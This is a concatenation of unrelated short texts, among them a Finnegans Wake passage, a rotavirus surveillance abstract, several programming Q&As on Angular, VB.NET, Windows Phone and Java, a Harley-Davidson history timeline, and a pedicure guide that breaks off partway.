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"Wednesday, September 3, 2014\n\nFW 1.72k --still evidence of sins--\n\n1.72a:\nNow be aisy, good Mr Finnimore, sir. ",
"And take your laysure like a god on pension...1.72b:\nMeeting some sick old bankrupt or the Cottericks' donkey with his shoe hanging...1.72c:\nbut let your ghost have no grievance. ",
"You're better off, sir, where you are...1.72d:\nand have all you want, pouch, gloves, flask, bricket, kerchief, ring and amberulla...1.72e:\nAnd it isn't our spittle we'll stint you of, is it, druids? ",
"Not shabbty little imagettes, ...1.72f:\nPoppypap's a passport out. ",
"And honey is the holiest thing ever was, hive, comb and earwax...1.72g:\nYour fame is spreading like Basilico's ointment since the Fintan Lalors piped you overborder...1.72h:\nAnd admiring to our supershillelagh where the palmsweat on high is the mark of your manument...1.72i:\nand when you were undone in every point fore the laps of goddesses you showed our labourlasses...1.72k:\nHe's duddandgunne now and we're apter finding the sores of his sedeq but peace to his great limbs...1.72l:\nNo, nor a king nor an ardking, bung king, sung king or hung king. ",
"That you could fell an elmstree...1.72m:\nIf you was hogglebully itself and most frifty like you was taken waters still what all where was your like...1.72n:\nBut as Hopkins and Hopkins puts it, you were the pale eggynaggy and a kis to tilly up. ",
"We calls him...1.72o:\nSo may the priest of seven worms and scalding tayboil, Papa Vestray, come never anear you...1.72p:\nYour heart is in the system of the Shewolf and your crested head is in the tropic of Copricapron...1.72q:\nThe loamsome roam to Laffayette is ended. ",
"Drop in your tracks, babe! ",
"Be not unrested!...1.72r:\nFor we have performed upon thee, thou abramanation, who comest ever without being invoked..."
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"DESCRIPTION: Rotavirus is the most common cause of diarrhea among children < 5 years of age and is responsible for an estimated 440,000 deaths each year. ",
"Most of these deaths occur in developing countries and India accounts for approximately 100,800 (23%) rotavirus-associated deaths annually. ",
"We hypothesize that a phone- and web-based case reporting system will be well-accepted by clinic and hospital based clinicians and laboratory staff. ",
"We also hypothesize that introduction of this system will provide a robust method for highly efficient disease reporting and monitoring of diarrhea and rotavirus incidence among the target population of children < 5 years of age. ",
"The specific aims are to: 1. ",
"Establish the feasibility of implementing a phone/web-based disease reporting system. ",
"We will conduct baseline and post-introduction field assessments of system acceptability, ease of use, and reporting accuracy compared with use of traditional paper-based surveillance reports among hospital-based pediatric care providers. ",
"We will identify methods to optimize use and introduction of the phone/web-based surveillance system in areas with limited telecommunications and health-care infrastructure. ",
"2. ",
"Determine the burden hospitalizations among children < 5 years of age in the study population for acute diarrhea. ",
"Children who attend hospitals with acute diarrhea will be clinically evaluated and a fecal specimen will be collected for rotavirus antigen detection testing using a commercially-prepared assay. ",
"Hospital-based clinicians will report patients with diarrhea and children with laboratory-confirmed rotavirus diarrhea via the phone/web-based reporting system. ",
"3. ",
"Determine the methodologic appropriateness and accuracy of measuring population-based incidence rates for alll-cause diarrhea hospitalizations and rotavirus diarrhea hospitalizations among sub-district populations within the field site. ",
"We will analyze ICD-10 hospital discharge codes and review pediatric departments logbooks to assess the proportion of children with diarrhea who are captured in the phone/web-based surveillance system. ",
"We will calculate the proportion of children with an adequate fecal specimen that is collected and tested for rotavirus. ",
"We will assess the potential use of the phone/web-based case reporting system for measuring the impact of health interventions including vaccines. [",
"unreadable] [unreadable] [unreadable]"
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"Q:\n\nAngular IF ELSE show element\n\nI am by setting the display type of a dashboard and came across this problem, how to make a if else in angular.",
"\nIs there a better way to do this?",
"\n<div ng-if=\"'CONFIG.dashboard.rows == 1'\" layout=\"column\" flex>\n<div ng-if=\"'CONFIG.dashboard.rows > 1'\" layout=\"row\" flex>\n\nRESOLVED:\n<div ng-switch on=\"CONFIG.dashboard.rows\" flex>\n\n <div ng-switch-when=\"1\" layout=\"column\" flex layout-wrap>\n\n <div ng-repeat=\"wdg in CONFIG.widgets\" flex='100' ng-include=\"wdg.template\"></div>\n\n </div>\n\n <div ng-switch-default layout=\"row\" flex layout-wrap>\n\n <div ng-repeat=\"wdg in CONFIG.widgets\" flex='50' ng-include=\"wdg.template\"></div>\n\n </div>\n\n</div>\n\nA:\n\nYou could use the ngSwitch directive to accomplish this.",
"\n\n"
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"Michael Desormeaux\n\nMichael Desormeaux (born September 29, 1985) an American college football Tight Ends coach at Louisiana and former professional gridiron football defensive back. ",
"He was signed by the Jacksonville Jaguars as an undrafted free agent in 2009. ",
"He played college football at the University of Louisiana at Lafayette.",
"\n\nProfessional playing career\n\nJacksonville Jaguars\nDesormeaux was signed as an undrafted free agent by the Jacksonville Jaguars on April 26, 2009. ",
"After being waived on September 5, Desormeaux was signed to the Jaguars' practice squad on September 6. ",
"He was released on September 21.",
"\n\nCalgary Stampeders\nDesormeaux signed a practice roster agreement with the Calgary Stampeders on October 8, 2009.",
"\n\nCoaching career\nOn December 3, 2017, following the firing of head coach Mark Hudspeth, Desormeaux was named as interim head coach. ",
"On December 15, the University of Louisiana at Lafayette named new head coach of the Ragin' Cajuns would be Billy Napier. ",
"After Napier was hired, Desormeaux was named Assistant Head Coach and Tight Ends coach.",
"\n\nPersonal life\nDesormeaux is married to Lindsey Sale Desormeaux. ",
"His distant cousin is horse jockey Kent Desormeaux.",
"\n\nExternal links\n Louisiana profile\n\nCategory:1985 births\nCategory:Living people\nCategory:American football quarterbacks\nCategory:American football safeties\nCategory:American players of Canadian football\nCategory:Canadian football quarterbacks\nCategory:Calgary Stampeders players\nCategory:Jacksonville Jaguars players\nCategory:Louisiana Ragin' Cajuns football coaches\nCategory:Louisiana Ragin' Cajuns football players\nCategory:People from New Iberia, Louisiana\nCategory:Players of American football from Louisiana"
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[
"Q:\n\nHow to format currency in VB.NET\n\nHow can I format the currency in VB.NET by specifying the symbol to use e.g. £ or $.",
"\nI have been using formatcurrency however I can't find a way to change the symbol in front of the value.",
"\n\nA:\n\nUsing the legacy VB functions like FormatCurrency is limited because they only know the current culture. ",
" .ToString(\"C2\") will use the current culture for the symbol and decimal. ",
" To specify a different culture:\nDim decV As Decimal = 12.34D\n\nConsole.",
"WriteLine(\"In France: {0}\", decV.ToString(\"C2\", New CultureInfo(\"fr-FR\")))\nConsole.",
"WriteLine(\"For the Queen! {",
"0}\", decV.ToString(\"C2\", New CultureInfo(\"en-GB\")))\nConsole.",
"WriteLine(\"When in Rome: {0}\", decV.ToString(\"C2\", New CultureInfo(\"it-IT\")))\nConsole.",
"WriteLine(\"If you are Hungary: {0}\", decV.ToString(\"C2\", New CultureInfo(\"hu-HU\")))\nConsole.",
"WriteLine(\"For the US of A: {0}\", decV.ToString(\"C2\", New CultureInfo(\"en-US\")))\n\nOutput:\n\nIn France: 12,34 €\n For the Queen! ",
"£12.34\n When in Rome: € 12,34\n If you are Hungary: 12,34 Ft\n For the US of A: $12.34 \n\nTable of Language Culture Names, Codes\n\nYou can also have problems converting a foreign currency string to a value because CDec only knows how to use the local culture. ",
" You can use Decimal.",
"TryParse and specify the incoming culture:\n' Croatian currency value\nDim strUnkVal = decV.ToString(\"C2\", New CultureInfo(\"hr-HR\"))\nDim myVal As Decimal\n\n' if the string contains a valid value for the specified culture\n' it will be in myVal\nIf Decimal.",
"TryParse(strUnkVal,\n NumberStyles.",
"Any,\n New CultureInfo(\"hr-HR\"), myVal) Then\n Console.",
"WriteLine(\"The round trip: {0}\", myVal.",
"ToString(\"C2\"))\nEnd If\n\n"
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[
"Q:\n\nBing Maps gone on WP7 after Windows 8 install?",
"\n\nI just recently updated my OS to Windows 8 and also installed Visual Studio 2012 (Windows Phone 8 SDK).",
"\nI was playing around with the new interface and trying to see the new features installed and then whether or not my old projects (built in Visual Studio 2010 Express for Windows Phone) will load and I noticed a big time problem:\nNone of the Bing Maps were loading. ",
"Hmmmmm, that was weird I thought to myself.",
"\nI know that for the Windows Phone 8 Microsoft has transitioned to Nokia mapping so I figured it must have something to do with that in the new SDK.",
"\nSo I tried opening Visual Studio 2010 Express for Windows Phone SDK and loading the older projects (that were built in that SDK) and the same thing happened... None of the maps will load!!!",
"\nI thought maybe it has something to do with the servers/api??? ",
"But that looks doubtful.",
"\nI'm a high school teacher and we are actually jumping in to developing phone apps using the MS VS 2010 Express for Windows Phone next week and all of the first couple of weeks' lessons are built around mapping (using Bing Maps).",
"\nI'll be in a world of hurt if I can't find a solution to loading those maps. ",
"\nAny help will be greatly appreciated!!!",
"\nEdit................................\nHere are a couple of pictures to show you what the Design looks like and how the emulator is displaying the same data. (",
"Not sure if this is connected but I wasn't able to take a screen capture [PrntScr] when the emulator was running)\n\nA:\n\nThere are still Bing maps in WP8 SDK, you can find them in this folder:\n\nC:\\Program Files (x86)\\Microsoft SDKs\\Windows Phone\\v8.0\\Libraries\n\n"
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"Q:\n\nOnly able to use getter method once\n\nI'm working on a Java project in which I have the getter method below in the class TextAnalyzer:\npublic Hashtable<String, Double> getTotalFeatureOccurances() {\n return(feat_occur_total);\n}//getTotalFeatureOccurances\n\nI also have the private class variable:\nprivate Hashtable<String, Double> feat_occur_total;\n\nI use the getter, add more terms to the hash, and then want to get the hash again, however it always comes back empty. ",
" Even worse if I don't add or remove anything from the hash, but do two gets, I still receive and empty hash the second time.",
"\nHere is my code in main:\nTextAnalyzer ta = new TextAnalyzer();\n feat_occur_cat = ta.wordOccurancesCount(text, features);\n feat_occur_total = ta.getTotalFeatureOccurances();\n\n Enumeration<Double> e = feat_occur_total.elements();\n while(e.hasMoreElements()) {\n System.out.println(e.nextElement());\n }//while\n\n feat_occur_total.clear();\n feat_occur_total = ta.getTotalFeatureOccurances();\n\n e = feat_occur_total.elements();\n System.out.println(\"\\n\\nSECOND GET\\n\\n\");\n while(e.hasMoreElements()) {\n System.out.println(e.nextElement());\n }//while\n\nI get the output:\n2.0\n1.0\n5.0\n1.0\n1.0\n3.0\n2.0\n3.0\n\nSECOND GET\n\nHere is the entire class:\npublic class TextAnalyzer {\n\n TextAnalyzer() {\n this.feat_occur_total = new Hashtable<String, Double>();\n }\n\n public String[][] wordOccurancesCount(String text, Vector<String> features) {\n String[][] occur = new String[features.size()][features.size()];\n\n for(int ndx=0; ndx<features.size(); ndx++) {\n int count=0;\n\n Pattern p = Pattern.compile(\"(?:^|\\\\s+|\\\\()\\\\s*(\" + features.elementAt(ndx).trim() + \")\\\\w*(?:,|\\\\.|\\\\)|\\\\s|$)\", Pattern.",
"CASE_INSENSITIVE | Pattern.",
"MULTILINE | Pattern.",
"CANON_EQ);\n Matcher m = p.matcher(text);\n m.usePattern(p);\n\n while(m.find())\n count++;\n\n occur[ndx][0] = features.elementAt(ndx);\n occur[ndx][1] = String.valueOf(count);\n\n if(this.feat_occur_total.containsKey(features.elementAt(ndx))) {\n double temp = this.feat_occur_total.get(features.elementAt(ndx));\n temp += count;\n this.feat_occur_total.put(features.elementAt(ndx), temp);\n }//if\n else {\n this.feat_occur_total.put(features.elementAt(ndx), Double.valueOf(count));\n }//else\n }//for\n\n return(occur);\n }//word\n\n public Hashtable<String, Double> getTotalFeatureOccurances() {\n return(feat_occur_total);\n }//getTotalFeatureOccurances\n\n private Hashtable<String, Double> feat_occur_total;\n\n}//TextAnalyzer\n\nA:\n\nThis:\nfeat_occur_total.clear();\n\nClears the Hashtable. ",
"Since you returned a reference to the original variable, you cleared the Hashtable itself, not a copy. ",
"So returning it again will return the cleared Hashtable.",
"\n\n"
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[
"1870 Birth of William A. Davidson, Milwaukee, WI.",
"\n\n1876 Birth of Walter Davidson, Milwaukee, WI.",
"\n\n1880 Birth of William S. Harley, Milwaukee, WI. ",
"As he was born just after Christmas, his parents gave him the middle name “Sylvester.”",
"\n\n1881 Birth of Arthur Davidson, Milwaukee, WI.",
"\n\n1901 William S. Harley, aged 21, completes a blueprint for an engine designed to fit into a bicycle.",
"\n\n1903 Harley and Arthur Davidson build the first production Harley-Davidson in 1903. ",
"It features a 3-1/8-inch bore and a 3-1/2-inch stroke yielding 7.07 cubic inches (116cc). ",
"They make a more powerful motor with the assistance of Ole Evinrude – better known as the inventor of the outboard motor. ",
"It is designed for use on the wooden velodromes where popular bicycle races are held. ",
"Harley and Davidson work in a 10 x 15-foot shed on Chestnut Street (later renamed Juneau Avenue) which is still the address of Harley-Davidson’s head office.",
"\n\n\n\n1904 The first Harley-Davidson dealer, C.H. Lang of Chicago, opens for business.",
"\n\n1906 A new 28 by 80-foot factory is built on Chestnut Street. ",
"The company has grown to have six employees. ",
"It produces its first catalog, and coins the nickname “Silent Gray Fellows.” ",
"It’s a reference to the fact that the bikes were painted dove gray, and that they were quietly reliable. (",
"Evidently, the company’s founders were unaware that loud pipes save lives.)",
"\n\n1907 William A. Davidson joins the firm. ",
"Harley-Davidson Motor Company is incorporated, with stock shared by the Harley and the three Davidson brothers.",
"\n\n1908 Walter Davidson scores a perfect 1,000 points at the 7th Annual Federation of American Motorcyclists Endurance and Reliability Contest. ",
"Three days after the contest, Walter sets the FAM economy record at 188.234 miles per gallon. ",
"Perhaps impressed with that reliability, Detroit becomes the first city to buy a H-D motorcycle for police use.",
"\n\n\n\n1909 “The Motor Company” makes its first V-Twin. ",
"It has a displacement of 49.5 cubic inches and produces seven horsepower.",
"\n\n1910 The ‘Bar & Shield’ logo is used for the first time in 1910 and was trademarked one year later.",
"\n\n1911 The ‘F-head’ single-cylinder engine is introduced and will remain in use until 1929. (",
"This is not a reference to “Hey, f-head!” ",
"it’s a reference to the shape of the valve ports.) ",
"It is an inlet-over-exhaust design, with an overhead intake valve (in the head like a modern motor) but a “side” exhaust valve which is in the cylinder.",
"\n\n1912 Harley-Davidson begins exporting motorcycles to Japan. ",
"Construction begins on a six-storey headquarters. ",
"The Parts and Accessories Dept. ",
"is formed. ",
"The company has more than 200 dealers across America.",
"\n\n1913 The Racing Department is formed, under the control of Bill Harley.",
"\n\n1914 Sidecars are made available. ",
"Some models are briefly available with a two-speed transmission in the rear hub. ",
"Also, belts go out of fashion – for the moment. ",
"Harley-Davidson is one of the last motorcycle manufacturers to switch from leather drive belts to chains. ",
"The leather belts slipped, stretched and rotted, so chains are a big improvement.",
"\n\n1915 H-D motorcycles become available with three-speed sliding-gear transmissions with final and primary drive on the same side.",
"\n\n1916 The Enthusiast magazine is published for the first time.",
"\n\n1917 About a third of the company’s production is purchased by the Army. ",
"To train Army mechanics, the company starts the Quartermasters School. ",
"After the war, it will be retained as the Service School, providing factory-trained mechanics for dealers.",
"\n\n1918 Almost half of all H-D motorcycles produced are sold for use by the U.S. military in World War I. After Armistice is signed, Corporal Roy Holtz becomes the first American soldier to enter Germany. ",
"He does so on a Harley-Davidson motorcycle.",
"\n\n1919 The 37-cubic-inch Sport model is introduced. ",
"It’s a horizontally-opposed, fore-and-aft V-Twin.",
"\n\n1920 Now the largest motorcycle manufacturer, H-D boasts over 2,000 dealers in 67 countries.",
"\n\nThe factory racing team, already known as “The Wrecking Crew” because it’s become so dominant in American racing, has a small pig as a mascot. ",
"The bikes are nicknamed “hogs” as a result.",
"\n\n\n\n1925 The company adopts teardrop-shaped gas tanks (previously they were flat-topped) that give its machines a very distinct look. ",
"Joe Petrali becomes one of the first salaried “factory racers.”",
"\n\n1926 Single-cylinder motorcycles are sold first time since 1918. ",
"Models A, AA, B and BA are available in side-valve and overhead-valve engine configurations.",
"\n\n1928 The first two-cam engine is made available on the JD series motorcycles. ",
"The bike can reach a top speed between 85 and 100 mph. ",
"Luckily, this year all H-D models are also available with a brake on the front wheel. ",
"Surprisingly few Harley-Davidson riders use them, even to this day.",
"\n\n1929 The D model is introduced with a rugged, 45-cubic-inch flathead V-Twin engine. ",
"The “Flathead” motor will be sold in various guises for over 40 years. ",
"The stock-market crash heralds the Great Depression. ",
"In 1929, the company sells 21,000 motorcycles. ",
"It’s the strongest of the dozens – if not hundreds – of motorcycle brands that were launched in the first three decades of the century; only a handful will survive into the fourth.",
"\n\n\n\n1932 The three-wheeled Servi-car begins its 41-year run. (",
"Sure they were used to deliver great corned-beef sandwiches, but they were also used by the guys who wrote 410,000,000 parking tickets, too.) ",
"In racing, Joe Petrali begins a string of five consecutive national championships in dirt track, as well as four consecutive hill-climb titles. (",
"In those years, the championship was decided in a single race.)",
"\n\n\n\n1933 The company sells only 4,000 motorcycles this year. ",
"To reduce costs for competitors, the AMA creates a new racing class, Class C, based on production equipment and allowing for limited modifications. ",
"Although the original, prototype-based Class A persists, the AMA emphasizes the new class. ",
"Purists resent the change.",
"\n\n1935 Alfred Child, the company’s agent in Asia, realizes that currency exchange rates are killing sales in Japan. ",
"He convinces the company to license production of its motorcycles in Japan. ",
"The Sankyo Seiyakyo Corporation purchases tooling and begins producing Harley “clones”. ",
"They are sold under the name Rikuo, which means “King of the Road.”",
"\n\n1936 Introduction of the EL, an overhead valve, 61-cubic-inch-powered bike, which earns the nickname of ‘Knucklehead’ because of the shape of its rocker-boxes. ",
"The company also introduces an 80-cubic-inch side-valve engine.",
"\n\n1937 Petrali sets a land-speed record of over 136 mph with a streamlined Knucklehead. ",
"The first WL models are produced. ",
"William A. Davidson dies, two days after signing an agreement that makes the company a union shop.",
"\n\n\n\n1938 Ben Campanale wins the Daytona 200 on a 45 cubic-inch WLDR. ",
"The race was run on the 3.2-mile beach course. ",
"The Jackpine Gypsies hold the first Black Hills rally in Sturgis.",
"\n\n\n\n1941 United States enters World War II. ",
"The production of civilian motorcycles is almost entirely stopped.",
"\n\n1942 When U.S. soldiers capture their first “Wehrmacht”-issue motorcycles in North Africa, they find that the BMWs and Zundapps are better suited to tough military duty. ",
"Harley-Davidson and Indian each develop about 1,000 machines for evaluation, with shaft drives and Flat-Twin motors copied from the Germans. ",
"They are never widely issued, though the machines cost Uncle Sam a whopping $35,000 each. ",
"Walter Davidson dies.",
"\n\n\n\n1943 William S. Harley dies.",
"\n\n1945 The war finally ends. ",
"Between 1941-45 the company produced almost 90,000 WLA models for military use.",
"\n\n1946 The 45 cubic-inch, flathead, WR production racer is made. ",
"It conforms to stricter Class C AMA rules, which are intended to reduce costs for competitors. ",
"It’s a flathead, because in Class C, flatheads are allowed to displace 750cc, while OHV motors are limited to 500cc.",
"\n\n1948 The company’s 61 and 74 c.i. ",
"OHV engines are updated with aluminum heads and hydraulic valve lifters. ",
"Also new are the one-piece rocker covers, which resemble cake pans, earning the motor the nickname ‘Panhead.’ ",
"As part of Germany’s war reparations, the Allies loot German patents. ",
"The fine, small two-stroke motors built by DKW (seen in that\n\ncompany’s popular RT125) are copied by BSA (the Bantam) and Harley-Davidson, which produces the model S that will come to be known as the Hummer.",
"\n\n1949 Hydraulic front forks make their first appearance on the new Hydra-Glide models.",
"\n\n1950 Arthur Davidson dies.",
"\n\n1952 Returning servicemen seem to favor the lighter British Twins they saw “over there.” ",
"In response, Harley-Davidson creates the 45 c.i. ",
"side-valve K model. ",
"It’s a unit-construction motor – the crankcases and gearbox are one set of castings.",
"\n\n1953 Indian goes into its long, painful death throes. ",
"H-D, which celebrates its 50th anniversary this year will be only real motorcycle manufacturer in the U.S. for the rest of the century. ",
"The aging WR and WRTT production racers are no match for the British 500s now invading the dirt tracks (and few road courses) of America. ",
"The H-D racing department counters with a new racer, the KR. ",
"Like the WR, it is a 750cc flat-head.",
"\n\n\n\n1955 The new KR begins a run of seven consecutive Daytona 200 victories, which will include the last race run on the old beach course and first one run at the new Daytona International Speedway.",
"\n\n1957 The Sportster is introduced. ",
"It is basically a larger-displacement version of the K motor, fitted with an OHV head. ",
"At 55 c.i., ",
"it offers performance to rival anything coming out of England (at least, anything coming out of England without a “Vincent” tank badge.) ",
"has a 55 cubic-inch overhead-valve engine.",
"\n\n1958 Hydraulic rear suspensions appear on the Duo-Glide.",
"\n\n1960 Harley-Davidson acknowledges the market potential of smaller machines. ",
"The company makes its first and only scooter, the Topper. ",
"It also purchases a half-interest in the Italian company Aermacchi, which produces fast and stylish single-cylinder machines of up to 350cc. ",
"Brad Andres wins the last Daytona 200 run on the sand. ",
"2nd through 13th (no, not 3rd, 13th) places all go to riders on KRs.",
"\n\n\n\n1961 The first Aermacchi design to reach America is the Harley-Davidson Sprint. ",
"Short-track racers are quick to realize that its good power and low center of gravity make it a winner.",
"\n\n1962 Harley-Davidson acquires the Tomahawk boat company and starts to learn about the uses of fiberglass.",
"\n\n1964 The humble Servi-Car is the first of the company’s machines to be fitted with an electric starter.",
"\n\n1965 The Duo-Glide and is fitted with an electric starter, and thus becomes the Electra-Glide.",
"\n\n1966 Riders clamoring for more power cause the company to update the old Panhead motor. ",
"The new engine has rocker boxes that resemble coal shovels. ",
"Hence, the new mill gets the nickname “Shovelhead.” ",
"This basic motor will remain in production for 20 years.",
"\n\n1968 After years of increasingly vociferous lobbying, the import manufacturers convince the AMA rules committee that the 250cc displacement advantage given to flathead motors is unfair. ",
"The AMA declares that, in the future, bikes with overhead valves (all the British and Japanese models) can also displace up to 750cc. ",
"Harley-Davidson lobbies to delay the implementation of the new rule for one more season.",
"\n\n1969 Although Harley-Davidson stock is publicly traded, it is still a relatively closely held corporation. ",
"The shareholders – perhaps sensing that the “Japanese invasion” is about to open a new front in the heavyweight category, with the Honda CB750 Four – sell the company to the American Machine and Foundry Company. ",
"AMF has hitherto been known to the American consumer as a maker of bowling balls, but it is in fact a large, diversified manufacturer. ",
"AMF could have risen to the challenge presented by the sophisticated and comparatively affordable Honda. ",
"Instead, AMF’s managers roll a real gutter-ball. ",
"Harley-Davidson quality plummets. ",
"Before long, dealers are forced to rebuild motors under warranty and magazines are brutally critical of test bikes. ",
"Used Harleys are described as “pre-AMF” in classified ads.",
"\n\n\n\n1970 The racing department creates a new production racer, the XR-750. ",
"The motor is basically a destroked Sportster unit. ",
"It gets off to an inauspicious start; none of the factory entries reach the finish in the Daytona 200. ",
"The first Harley across the line is an ancient KRTT, ridden by Walt Fulton III.",
"\n\n1971 By mating the spare front end of the XL series with the frame and motor of the FL series, the company creates the first cruiser – the FX 1200 Super Glide.",
"\n\n1973 A new assembly plant is opened in York, PA.",
"\n\n1977 Although most Harley fans would rather forget the years in which the company was owned by AMF, there is one AMF-era bike that’s highly sought-after by collectors: the 1977 XLCR. ",
"That “CR” stands for Café Racer and the bike was only the second major project for Willie G. Davidson (the grandson of one of the founders.) ",
"While the model is prized now, it was rejected by Harley customers in 1977. ",
"Only 3,100 were sold and the model was dropped a year later – although dealers still had unsold XLCRs cluttering their showroom floors well into the ’80s. ",
"The FXS Low Rider is also introduced this year.",
"\n\n\n\n1979 The FXEF “Fat Bob” is introduced. ",
"It’s called fat because of its dual gas tanks, and bob on account of its bobbed fenders.",
"\n\n1980 The FLT is introduced. ",
"It has rubber-isolated drivetrain and an engine and five-speed transmission which are hard bolted together. ",
"Belts come back into fashion: a Kevlar belt replaces the chain as the final drive on some models. ",
"The FXB Sturgis, featuring an 80 cubic-inch engine, and FXWB Wide Glide are introduced.",
"\n\n\n\n1981 After years of AMF mismanagement, Harley-Davidson has lost almost all customer loyalty and profits are in freefall. ",
"When a group of company executives led by Vaughn Beals offers to buy the division for $75 million, AMF quickly agrees. ",
"Beals leads an amazing corporate turnaround. ",
"He funds new product development and implements world-class quality control. ",
"It’s impossible to know what would have happened to the H-D brand if Beals had not risen up to save it, but it’s certain that no one else could have done a better job at rehabilitating it.",
"\n\n\n\n1982 The FXR/FXRS Super Glide II are introduced, featuring a rubber-isolated, five-speed powertrain. ",
"The company adopts a just-in-time inventory system on the manufacturing side, which helps to lower cost and improve quality.",
"\n\n\n\n1983 The Harley Owners Group (H.O.G.) is formed. ",
"The company petitions the International Trade Commission (a branch of the U.S. federal government) to impose a tariff on Japanese motorcycles of over 700cc. ",
"As a result, many Japanese motorcycles that are sold as 750cc models in the rest of the world are sleeved-down to 700cc for the U.S. market.",
"\n\n\n\n1984 The 1340cc V2 Evolution engine appears on five models. ",
"Although it’s been in development since the AMF era, the motor proves the newly independent company has turned the corner in terms of build quality. ",
"It is far more reliable and oil-tight. ",
"The Softail, which features concealed rear suspension and evokes the rigid-framed hogs of 30 or 40 years ago, meets with commercial success.",
"\n\n\n\n1986 Harley-Davidson diversifies with the acquisition of the Holiday Rambler motorhome company.",
"\n\n1987 The company makes its Initial Public Offering. ",
"Stock is traded on the NYSE, with the ticker symbol of HOG. ",
"The company petitions the ITC to relax the tariff on imported motorcycles, a year before it was scheduled to lapse. ",
"The move serves notice that Harley-Davidson is capable of competing on a level playing field, despite the fact that the Japanese companies now all make V-Twin cruisers that compete directly with the American offerings.",
"\n\n1988 Exploiting customers’ love of traditional styling, the Springer front end returns on the FXSTS Springer Softail.",
"\n\n1990 Introduction of the FLSTF Fat Boy.",
"\n\n1991 Introduction of the first motorcycle in the Dyna line, the FXDB Dyna Glide Sturgis.",
"\n\n1992 Harley-Davidson is the first company to equip all its models (except for a handful of racing motorcycles) with drive belts. ",
"Modern drive belts provide a smoother ride than chains, last longer, and free riders from the drudgery of chain lubrication and adjustment.",
"\n\n1993 H-D buys a minority interest in the Buell Motorcycle Company.",
"\n\n1994 The company enters the AMA Superbike Championship, fielding the water-cooled, DOHC VR1000. ",
"AMA rules specified that the company had to also build and sell 2,000 machines for road use, a process is called “homologation.” ",
"So, you may wonder, why have you never seen a road-going VR1000 if 2000 were sold? ",
"Because the model was homologated in Poland. ",
"By selling it there, Harley avoided U.S. liability and Poland’s lax laws allowed the barely-modified race bike to be legally licensed. ",
"Despite being ably ridden by Miguel Duhamel, Pascal Picotte, Chris Carr and Scott Russell, the VR1000 will never win an AMA race.",
"\n\n\n\n1995 Harley-Davidsons are equipped with fuel injection for the first time.",
"\n\n1996 Sales of parts and accessories are an increasingly important part of the business – a fact reflected in the new, 250,000 sq. ",
"ft. ",
"facility the company opens in Franklin, WI.",
"\n\n1997 A new 217,000 sq.-ft. ",
"design center opens in Milwaukee. ",
"FL engine production moves to a newly purchased plant in Menomonee Falls. ",
"A new 330,000 sq. ",
"ft. ",
"plant in Kansas City takes over the production of Sportsters.",
"\n\n1998 The company opens its first foreign factory in Manaus, Brazil. ",
"The remaining shares of Buell are also acquired.",
"\n\n\n\n1999 The Touring and Dyna lines receive the new Twin Cam 88.",
"\n\n2000 Despite spending tens of thousands of dollars in legal fees in the mid-’90s – and having initial success in its efforts to trademark the “potato-potato” sound of Harley motors – the company drops its U.S. Patent Office application. ",
"Harley-Davidson’s vice president of marketing, Joanne Bischmann, tells reporters, “I’ve personally spoken with Harley-Davidson owners from around the world and they’ve told me repeatedly that there is nothing like the sound of a Harley-Davidson motorcycle. ",
"If our customers know the sound cannot be imitated, that’s good enough for me and for Harley-Davidson.”",
"\n\n2001 The VRSCA V-Rod is introduced. ",
"The motor – which was designed with input from Porsche – is fuel injected, has overhead cams, and liquid cooling.",
"\n\n2003 It is estimated that 250,000 people come to Milwaukee to celebrate The Motor Company’s 100th anniversary.",
"\n\n2006 Fittingly, the ’06 model-year Dyna motorcycles come with six-speed transmissions. ",
"The company announces a major new museum, scheduled to open in Milwaukee in 2008.",
"\n\n\n\n2007 Harley upgrades its Big Twin motor, stroking it out to 96 cubic inches and earning the moniker “Twin Cam 96.” ",
"The six-speed transmission from the Dyna line is added across the board.",
"\n\n2008 The Motor Company opens its impressive new museum in time for Harley’s 105th anniversary. ",
"Purchases MV Agusta for $109 million in an attempt to take advantage of MV’s european distribution channels. ",
"Introduces the XR1200, inspired by the XR750 flat track machine used to win countless championships. ",
"The XR1200 represents the first time H-D designed and marketed a motorcycle exclusively for the European market. ",
"Later, after demand from this side of the pond, the XR1200 is then sold worldwide.",
"\n\n2009 Keith Wandell becomes the first person since 1981 to become CEO of Harley-Davidson who hadn’t had any previous connections to The Motor Company. ",
"Due to the economic recession, Harley-Davidson discontinues the Buell line and puts up MV Agusta for sale to focus on core business. ",
"This after The Motor Company declared profits dropped 84-percent since the previous year. ",
"Announces plan to enter the rapidly expanding Indian market."
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"Purgitsville began as a small farming and trading village in the early 19th century. ",
"In 1863, McNeill's Rangers were ambushed near the village by the Ringgold Cavalry, a Union force, but escaped with no fatalities."
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"[Isolation and identification of malonyl-ginsenosides from the fresh root of Panax ginseng C.A. Meyer].",
"\nFour chemical constituents were isolated for the first time from the fresh ginseng root cultivated in China. ",
"Three of them were elucidated as malonyl-ginsenosides-Rb1, -Rb2, -Rd."
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"4 Steps to the Perfect Pedicure\n\nHow to get a spa-quality pedicure at home.",
"\n\n\"It was the big handbag, then the stiletto, and now the sandal is the accessory,\" says Elisa Ferri, lead nail tech for the Marc Jacobs and Ralph Lauren shows. \"",
"Even if you don't want a bright pedicure, you need to keep your feet moisturized so cracks and flakes don't distract from your fabulous shoes.\" ",
"Whether you're rocking Lanvin's bejeweled spikes or Christian Louboutin's gussied-up gladiators, Ferri and polish queen Essie Weingarten help you ace your next at-home pedi just in time for sandal weather.",
"PLUS: OUR GUIDE TO SANDAL-READY FEET\n\n1 of 4\n\nJeffrey Westbrook/Studio D\n\nSTEP 1. ",
"PREP WORK\n\nFirst things first — pretty toes are hair-free. ",
"Depilatories are a faster, longer-lasting, and painless alternative to tweezing or waxing. ",
"Next, soften tough heels in a mineral sea salt soak. \"",
"In a pinch, liquid dish soap also removes dirt and makes cuticles more pliable,\" says Ferri. ",
"Pat one foot dry — letting the other soak longer — and slough away calluses with an emery board or pumice stone. \"",
"Don't use anything more abrasive, like a metal tool,\" warns Weingarten, \"and avoid infection by not exfoliating any blisters, corns, or bunions.\" ",
"Soak the scrubbed foot in a clean bath while working on the other and dab a cotton ball soaked with hydrogen peroxide on any blisters after feet have been washed.",
"\n\nMC Recommends: Revlon Pedi-Expert Shower Kit, $9.99.",
"\n\nAdvertisement - Continue Reading Below\n\n2 of 4\n\nJeffrey Westbrook/Studio D\n\nSTEP 2. ",
"TAKING SHAPE\n\nOn dry feet, apply cuticle oil to the base of the nail — Ferri swears by olive oil as a substitute — and push back cuticles with an orangewood stick. \"",
"Only cut cuticles [with a cuticle trimmer] if they look like they're about to tear the skin,\" says Ferri. ",
"File away extra length with an emery board, getting nails as short as possible without causing discomfort. ",
